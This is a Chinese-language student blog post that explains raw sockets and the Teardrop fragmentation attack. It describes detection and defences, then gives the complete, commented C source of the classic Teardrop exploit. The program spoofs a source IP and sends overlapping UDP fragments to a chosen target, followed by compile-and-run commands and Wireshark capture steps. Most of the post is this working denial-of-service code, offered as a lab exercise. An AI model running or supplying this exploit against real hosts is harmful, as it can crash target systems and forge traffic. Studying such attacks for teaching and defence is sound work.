原始嵌套字——伪造ip包,发送并用wireshark进行抓包验证
原始嵌套字——伪造ip包,发送并用wireshark进行抓包验证
文章目录
前言
“ 原始套接字编程”中的Teardrop代码编程,伪造一个虚假地址的IP包,包的内容填入
Fake News
。发送此包。并用wireshark抓包进行验证。
一、原始嵌套字
1.认识原始嵌套字
原始套接字的含义就是在传输层之下使用的套接字,它提供了一些 TCP 和 UDP 套接字无法提供的功能,即:
- 使用原始套接字可以读写 ICMP 和 IGMP 协议的数据包,如著名的 Ping 程序;
- 使用原始套接字可以读写特殊的 IP 数据包,Linux 内核并不处理这些特殊数据包的 IP 协议字段;
- 利用原始套接字可以使用 IP_HDRINCL 套接字选项构造自定义的 IP 数据包首部,可以编写基于 IP 协议的高层网络协议。
2.Teardrop
Teardrop攻击也就是我们中文里的泪滴攻击,这是一个特殊构造的应用程序,通过发送伪造的相互重叠的IP分组数据包,使其难以被接收主机重新组合。他们通常会导致目标主机内核失措。
Teardrop攻击利用IP包的分段/重组技术在系统实现中的一个错误,即在组装IP包时只检查了每段数据是否过长,而没有检查包中有效数据的长度是否过小。当包中数据长度为负时,由于memcpy()中的计数器是一个反码,负数表示一个非常大的数值。因为IP包重组和缓冲区通常处于系统核心态,缓冲区溢出将使系统崩苦苦。攻击者可以通过发送两段(或者更多)数据包来实现Teardrop攻击。实现攻击的数据包中,第一个包的偏移量为0,长度为N,第二个包的偏移量小于N。为了合并这些数据段,TCP/IP堆栈会分配超乎寻常的巨大资源,从而造成系统资源的缺乏,甚至机器重新启动。
攻击原理:
攻击者A给受害者B发送一些分片IP报文,并且故意将“13位分片偏移”字段设置成错误的值(既可与上一分片数据重叠,也可错开),B在组合这种含有重叠偏移的伪造分片报文时,会导致系统崩溃。Teardrop攻击是一种拒绝服务攻击。
攻击特征:Teardrop是基于UDP的病态分片数据包的攻击方法,其工作原理是向被攻击者发送多个分片的IP包(IP分片数据包中包括该分片数据包属于哪个数据包以及在数据包中的位置等信息),某些操作系统收到含有重叠偏移的伪造分片数据包时将会出现系统崩溃、重启等现象。
检测方法:对接收到的分片数据包进行分析,计算数据包的片偏移量(Offset)是否有误。反攻击方法
:添加系统补丁程序,丢弃收到的病态分片数据包并对这种攻击进行审计。Teardrop防御方法
:网络安全设备将接收到的分片报文先放入缓存中,并根据源IP地址和目的IP地址对报文进行分组,源IP地址和目的IP地址均相同的报文归入同一组,然后对每组IP报文的相关分片信息进行检查,丢弃分片信息存在错误的报文。为了防止缓存益处,当缓存快要存满是,直接丢弃后续分片报文。
3.ip包结构
ip数据包
对于ip数据包的详细了解,可以参考下面链接。
IP数据包结构.
二、代码
1.Ubuntu设为桥接模式
虚拟机->设置
网络配置器->桥接模式->q确定
开启虚拟机
2.编写代码
打开终端
创建文件
nano Teardrop.c
将下列代码复制粘贴进去
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else
/* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1
/* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/
//错误处理函数
void usage(u_char *);
//获取主机信息
u_long name_resolve(u_char *);
//设置 IP 包的内容并发送
void send_frags(int ,u_long,u_long,u_short,u_short);
//主函数
int main(int argc,char **argv)
{
int one = 1, count = 0, i, rip_sock;
//定义无符号长整型源 IP 和目的 IP
u_long src_ip = 0, dst_ip = 0;
//定义无符号短整型源端口号和目的端口号
u_short src_prt = 0, dst_prt = 0;
/*
定一个结构体 in_addr(表示一个32位的IPv4地址)的一个对象
struct in_addr
{
union
{
struct
{
u_char s_b1,s_b2,s_b3,s_b4;
} S_un_b; //An IPv4 address formatted as four u_chars.
struct
{
u_short s_w1,s_w2;
} S_un_w; //An IPv4 address formatted as two u_shorts
u_long S_addr;//An IPv4 address formatted as a u_long
} S_un;
#define s_addr S_un.S_addr
};
*/
struct in_addr addr;
printf("teardrop route|daemon9\n\n");
/*
创建一个原始套接字
AF_INET——IPv4地址;
SOCK_RAW——原始的套接字类型
IPPROTO_RAW——允许使用底层的套接字协议,就可以自己编写IP包
如果创建套接字成功,则会返回一个描述符(int型),失败则会返回 INVALID_SOCKET
每个电脑里面都会有一个描述符表,对应套接字
如果创建失败,将错误消息输出到屏幕
然后退出程序
*/
if((rip_sock = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
{
fprintf(stderr,"raw socket");
exit(1);
}
/*
设置原始套接字选项 IP_HDRINCL
如果不设置这个选项,IP 协议会自动填充 IP 数据包的首部
这个情况是我们所不需要的,我们需要自己编写 IP 包
*/
if(setsockopt(rip_sock,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one)) < 0)
{
fprintf(stderr,"IP_HDRINCL");
exit(1);
}
/*
如果程序运行时送给main函数的命令行参数个数小于 3 个,
调用 usage 函数,传参为 argv[0]:指向程序运行的全路径名
*/
if(argc < 3)
usage(argv[0]);
//调用 name_resolve 函数设置源 IP 和目的 IP
if(!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr,"What the hell kind of IP address is that?\n");
exit(1);
}
/*
调用 getopt 函数分析命令行参数,该函数的参数含义:
——命令行参数个数(argc)
——命令行参数内容(argv)
——参数格式(opstring):字母后有 : 表示该选项后面必须跟参数
getopt 函数处理不符合 optstring 指定的选项
并将选项后的参数保存在 optarg 中
然后返回选项的 ASCLL 码
atoi 函数是将参数(optarg)转化为十进制(会跳过前面的空白字符)
如果不能转化为十进制,则返回 0 ,值过大返回 -1
该循环语句是为了从命令行传端口值
*/
while((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's'://源端口(重点)
src_prt = (u_short)atoi(optarg);
break;
case 't'://目的端口 (DNS,任何人?)
dst_prt = (u_short)atoi(optarg);
break;
case 'n'://设置发送包的个数
count = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
}
/*
srandom 函数:设置种子值(以“当前时间 + 进程 ID”作为种子)
如果前面设置的源端口和目的端口是零,则随机赋值
*/
srandom((unsigned)(utimes("0",(time_t)0)));
if(!src_prt)
src_prt = (random() % 0xffff);//设置随机源端口号
if(!dst_prt)
dst_prt = (random() % 0xffff);//设置随即目的端口号
if(!count)
count = COUNT;//设置默认为一个包
//inet_ntoa 函数:将一个IP转换成一个互联网标准点分格式的字符串
printf("Death on flaxen wings:\n");
addr.s_addr = src_ip;//给对象 addr 的成员变量赋值
printf("From:%15s.%5d\n",inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;//给对象 addr 的成员变量 赋值
printf("To:%15s.%5d\n",inet_ntoa(addr), dst_prt);
printf("Amt:%5d\n",count);
printf("[\n");
/*
循环调用 send_frags 函数
每一次循环完了后睡眠 0.5 s
*/
for (i = 0; i < count; i++)
{
send_frags(rip_sock,src_ip,dst_ip,src_prt,dst_prt);
usleep(500);
}
printf("]\n");
return (0);
}
//设置 IP 包的内容并发送
void send_frags(int sock,u_long src_ip,u_long dst_ip,u_short src_prt,u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL,*flag = NULL;//定义 IP 包指针
u_char byte;//无符号字符储存二进制
struct sockaddr_in sin;
/*
sockaddr 套接字协议结构
用于存储参与(IP)Windows/linux套接字通信的计算机上的一个internet协议(IP)地址
struct sockaddr {
unsigned short sa_family; //address family, AF_xxx
char sa_data[14]; //14 bytes of protocol address
};
*/
sin.sin_family = AF_INET;//IPv4地址
sin.sin_port = src_prt;//源端口
sin.sin_addr.s_addr = dst_ip;//目的 IP
/*
malloc 函数:
原型:extern void *malloc(unsigned int num_bytes);
功能:分配长度为num_bytes字节的内存块(这里分配了 56 个字节的内存块)
说明:分配成功则返回指向被分配内存的指针,否则返回空指针 NULL
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;//指向 IP 包内存地址
flag = packet;
/*
bzero 函数:
原型:extern void bzero(void *s, int n);
功能:置字节字符串前n个字节为零且包括‘\0’,无返回值
这里是将 IP 包的 56 个字节全部至空
*/
bzero((u_char *)p_ptr,IPH + UDPH + PADDING);
/*
设置 IP 包的Version(版本)和Hlen(长度)
大多数的 IP 包都是以 4500 开头的(十六进制)
*/
byte = 0x45;
/*
memcpy 函数:
原型:void *memcpy(void *destin, void *source, unsigned n);
功能:从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中
即从源source中拷贝n个字节到目标destin中
这里是指从 byte 的内容(0x45)拷贝到 IP 包中
*/
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2;// 此时默认 IP 包的 TOS(优先级)为 0
/*
FIX 函数(htons 函数的别名)
htons 函数:将一个无符号短整型的主机数值转换为网络字节顺序
即大尾顺序(big-endian)
这里是设置 Datagram Total Length(IP 包总长度)
*/
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
p_ptr += 2;
//这是是设置 identifier(IP 包标识)
*((u_short *)p_ptr) = htons(242);//IP id
p_ptr += 2;
//这里设置 Flags(标志)
*((u_short *)p_ptr) |= FIX(IP_MF);
p_ptr += 2;
//设置 TTL (存活期)
*((u_short *)p_ptr) = 0x40;
//设置 Protocol(协议)
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
//IP 的校验码由实时操作系统设置
p_ptr += 4;
//设置 IP 包的 Source Address(源地址)
*((u_long *)p_ptr) = src_ip;
p_ptr += 4;
//设置 IP 包的 Destination Address(目的地址)
*((u_long *)p_ptr) = dst_ip;
p_ptr += 4;
//设置 UDP 的源端口
*((u_short *)p_ptr) = htons(src_prt);
p_ptr += 2;
//设置 UDP 的目的端口
*((u_short *)p_ptr) = htons(dst_prt);
p_ptr += 2;
//设置 UDP 的数据长度
*((u_short *)p_ptr) = htons(PADDING);
p_ptr += 4;
/*
设置要发送的数据:Fake News
根据 ASCLL 码表可转换成 46 61 6B 65 20 4E 65 77 73
*/
*((u_short *)p_ptr) = 0x46;
p_ptr++;
*((u_short *)p_ptr) = 0x61;
p_ptr++;
*((u_short *)p_ptr) = 0x6B;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x20;
p_ptr++;
*((u_short *)p_ptr) = 0x4E;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x77;
p_ptr++;
*((u_short *)p_ptr) = 0x73;
/*
sendto 函数:指向一指定目的地发送数据
将指定字节数的数据发送到指定的终结点
sendto()适用于发送未建立连接的UDP数据报(参数为SOCK_DGRAM)
返回值:为整型,如果成功,则返回发送的字节数,失败则返回SOCKET_ERROR
发送 IPv4 包,下面这个条件语句发送失败才会执行
*/
int i=1;
while(i <= 56)
{
printf("%x\t",*flag);
flag++;
if(0 == i%8)
printf("\n");
i++;
}
if(sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);//释放 packet 指针
exit(1);
}
//IP total length is 2 bytes into the header
//IP 包总长度是2字节,放进头部
p_ptr = &packet[2];
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
//IP offset is 6 bytes into the header
p_ptr += 4;
*((u_short *)p_ptr) = FIX(MAGIC);
//发送 UDP 包,下面这个条件语句发送失败才会执行
if(sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
free(packet);
}
//获取主机信息
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;//32位 IPv4 地址
/*
hostent 结构体:该结构记录主机的信息,包括主机名、别名、地址类型、地址长度和地址列表
struct hostent {
char *h_name;
char **h_aliases;
int h_addrtype;
int h_length;
char **h_addr_list;
};
#define h_addr h_addr_list[0]
*/
struct hostent *host_ent;
/*
gethostbyname 函数:返回对应于给定主机名的包含主机名字和地址信息的hostent结构指针
bcopy 函数:将第一个参数(字符串)的前n(第三个参数)个字节复制到第二个参数中
*/
if((addr.s_addr = inet_addr(host_name)) == -1)
{
if(!(host_ent = gethostbyname(host_name)))
return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
//错误处理函数
void usage(u_char *name)
{
fprintf(stderr, "%s src_ip dst_ip [ -s src_prit ] [ -t dst_prt ] [ -n how_many ]\n",name);
exit(0);
}
使用命令
gcc Teardrop.c -o text
sudo ./text 111.111.111.1 222.222.222.2
回车
3.抓包
wireshark抓包结果:
注意抓包时要先打开wireshark,选择连接的网络,进行抓包,然后在Ubuntu中发送创建的ip,保证可以抓到发送的IP包
查看数据
三、总结与参考资料
1.总结
通过原始嵌套字对teardrop的攻击有了一定的了解,对ip包的结构有了更深层次的认识。
2.参考资料
1.带你认识Teardrop攻击.
2. IP协议及IP数据包详解.
下一篇: Chorme浏览器查看请求头、响应头